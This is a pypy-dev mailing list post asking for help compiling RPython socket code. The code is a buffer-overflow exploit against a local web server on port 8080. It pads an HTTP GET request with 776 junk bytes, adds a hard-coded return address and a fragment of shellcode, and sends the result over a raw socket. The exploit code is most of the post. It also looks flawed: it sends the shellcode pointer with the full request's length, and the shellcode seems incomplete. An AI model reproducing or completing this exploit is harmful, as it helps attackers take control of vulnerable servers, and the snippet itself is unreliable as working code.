This is actually what I wanted to do with ptr, sorry I had to confirm with a friend of mine before posting again. The hex code should be cast to a CCHARP
The problem I am facing is compiling using rsocket if I remove the send and connect and INETAddress bits it compiles but as soon as I add INETAddress it refuses to compile What should I be doing instead? *cheers def main(argv): PORT = 8080 JUNK = "A" ret = "\x67\x42\xa7\x71" hellcode = ("\xeb\x03\x59\xeb\x05\xe8\xf8\xff\xff\xff\x4f\x49\x49\x49\x49\x49") request = "GET /" for i in range(776): request = request + JUNK request = request + ret request = request + hellcode request = request + " HTTP/1.1" request = request + "\r\n" ptr = rffi.cast(rffi.CCHARP, hellcode) # returns a "char*" pointer #print ptr #print len(request) s = rsocket.RSocket(rsocket.AF_INET, rsocket.SOCK_STREAM) target = rsocket.INETAddress("127.0.0.1", 8080) s.connect(target) s.send(ptr, len(request)) return 0
_______________________________________________ pypy-dev mailing list pypy-dev@python.org http://mail.python.org/mailman/listinfo/pypy-dev